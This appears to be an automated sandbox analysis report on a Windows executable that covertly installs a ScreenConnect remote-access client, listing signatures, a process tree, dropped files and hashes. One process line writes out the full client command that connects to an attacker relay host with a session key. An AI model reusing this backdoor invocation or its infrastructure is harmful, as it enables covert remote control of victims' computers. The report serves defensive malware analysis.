Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 08:32

General

  • Target
    51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe
  • Size 5.5MB
  • Sample260420-kfrrmahs2s
  • SHA256 51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe
    "C:\Users\Admin\AppData\Local\Temp\51fc0d5c3759f6c916fac21356858645c73a873900443f7847f24132125f6b3e.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f5165cc4f78bfd6f\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5200
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0267634E787B5F5CF5868AC78D3D9A45 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240651109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2460
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1612
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C9E5EC87A81A93EF3EB864BED63EEE64
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1744
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6FA448B6133EC54A150F34C2A66C5BCA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6020
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3336
    • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ggdt35.anondns.net&p=8041&s=4d570926-6cc1-4329-a915-22c94650f573&k=BgIAAACkAABSU0ExAAgAAAEAAQA1E6%2bcvE6OIcioKoMhj38GTXw0%2bRRLsU%2bmIXOV4xr9PJ6yXRs8qsDxP%2f66GoG%2f1hzplYBXnSSvC%2fn9kMAsrBn4De3E9ymFASJ%2fgmVOjxsI1C2Wz9CmwniolCVK%2fTIXTtOXOPKKX3HIqWMHDOUsXUgvBxVt6EGoFb6jDfMmK2x1SJQBM3j8fHkeyTQYYNP73Ci8fo%2bLc80dAjypjCUd1WYptqBR1sKRUESiZqy2R9x1Jkl6lk8nb7WTuyskgJHA%2f5E0iMPBFH2kYR0IMUMNAPkOsgqvi%2bmnhuDVkTVcWJ%2bXmUpNm4VRuDHMdCq2xbguUxYuHuvv8sqYukh3oHm9wTqt&c=Transport%2015%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe" "RunRole" "65ea72b3-36c6-4a50-a43c-1c3fd369010b" "User"
        2⤵
        • Executes dropped EXE
        PID:2248
      • C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe" "RunRole" "476da657-fa55-41d1-a3fc-450fe8452ada" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5808

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e584f16.rbs

          • Path C:\Config.Msi\e584f16.rbs
          • Size 214KB
          • SHA256 04dc2ccd21b22157a8a7a91c976334cbdad0035996cf75d49c951304bf352587
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.Override.en-US.resources
          • Size 334B
          • SHA256 b363e14107e1694b7238490bd13ef9d2adb0214dcabd036ae5c017c2ffd0a1d3
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.Override.resources
          • Size 113KB
          • SHA256 820a1e788ee0fc4b7c68d753f4c7b7ab88dfb50b386f802be7481e2ed96be167
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\app.config
          • Size 2KB
          • SHA256 e2951e02c7bfadd80f355e7c01120a1bbaca92170f941d3783bea0937c8a4d1c
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f5165cc4f78bfd6f)\system.config
          • Size 948B
          • SHA256 709c44065f58637affe829ef1f0897c457baf7f14e5ef71b8af78b965782436d
          • MD5 SHA1 SHA512 TLSH

          MSIAB9.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB9.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f5165cc4f78bfd6f\ScreenConnect.ClientSetup.msi
          • Size 13.2MB
          • SHA256 8ff345213878b435bf77beee8166c89bc6eb4f06d8239a9c3b5830416880e576
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI50FA.tmp

          • Path C:\Windows\Installer\MSI50FA.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 ecb4dc2d213d50f6aa2f3d152a884e95981786d329096104b21b667ccde47302
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {2746e9a6-b992-4183-a34a-b58b9c03a7bd}_OnDiskSnapshotProp

          • Path \??\Volume{8408d847-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2746e9a6-b992-4183-a34a-b58b9c03a7bd}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4deaa2e584e3136117c7940327d34f8c7d1322ad986db2c2e2419f384047b4ec
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1612-144-0x000001FCF6320000-0x000001FCF63CD000-memory.dmp

          memory/1612-149-0x000001FCF6320000-0x000001FCF63CD000-memory.dmp

          memory/2248-132-0x000000001BF80000-0x000000001C12C000-memory.dmp

          memory/2248-130-0x0000000002F40000-0x0000000002F76000-memory.dmp

          memory/2248-136-0x0000000002FA0000-0x0000000002FB8000-memory.dmp

          memory/2248-133-0x000000001C2C0000-0x000000001C446000-memory.dmp

          memory/2248-131-0x000000001BD40000-0x000000001BDCC000-memory.dmp

          memory/2248-135-0x0000000002F00000-0x0000000002F18000-memory.dmp

          memory/2248-129-0x0000000000DF0000-0x0000000000E88000-memory.dmp

          memory/2248-137-0x000000001BCB0000-0x000000001BCF1000-memory.dmp

          memory/2248-148-0x000000001BED0000-0x000000001BF7D000-memory.dmp

          memory/2248-147-0x0000000002EB0000-0x0000000002EBC000-memory.dmp

          memory/2460-30-0x0000000004AB0000-0x0000000004ADE000-memory.dmp

          memory/2460-34-0x0000000004AF0000-0x0000000004AFA000-memory.dmp

          memory/2460-38-0x0000000004BE0000-0x0000000004C6C000-memory.dmp

          memory/2460-42-0x0000000004E20000-0x0000000004FCC000-memory.dmp

          memory/3812-145-0x0000000001870000-0x0000000001891000-memory.dmp

          memory/3812-107-0x0000000004500000-0x00000000045D5000-memory.dmp

          memory/3812-105-0x0000000003FA0000-0x0000000003FE1000-memory.dmp

          memory/3812-98-0x0000000003FE0000-0x0000000004030000-memory.dmp

          memory/3812-87-0x0000000001820000-0x0000000001838000-memory.dmp

          memory/3812-103-0x0000000004320000-0x00000000043B2000-memory.dmp

          memory/3812-102-0x0000000004030000-0x0000000004066000-memory.dmp

          memory/4656-0-0x00000000050C0000-0x00000000050D0000-memory.dmp

          memory/4656-5-0x0000000000DC0000-0x0000000000DE2000-memory.dmp

          memory/4656-4-0x0000000005140000-0x00000000051CC000-memory.dmp

          memory/4656-3-0x00000000053D0000-0x00000000056C2000-memory.dmp

          memory/4656-2-0x00000000050C0000-0x00000000050D0000-memory.dmp

          memory/4656-6-0x00000000051D0000-0x000000000537C000-memory.dmp

          memory/4656-7-0x0000000005C70000-0x0000000006214000-memory.dmp

          memory/4656-8-0x00000000050C0000-0x00000000050D0000-memory.dmp

          memory/4656-1-0x0000000000C80000-0x0000000000C88000-memory.dmp

          memory/4772-134-0x0000014FE5970000-0x0000014FE5A1D000-memory.dmp

          memory/5808-140-0x0000000001120000-0x000000000112C000-memory.dmp

          memory/5808-141-0x0000000002A90000-0x0000000002B3D000-memory.dmp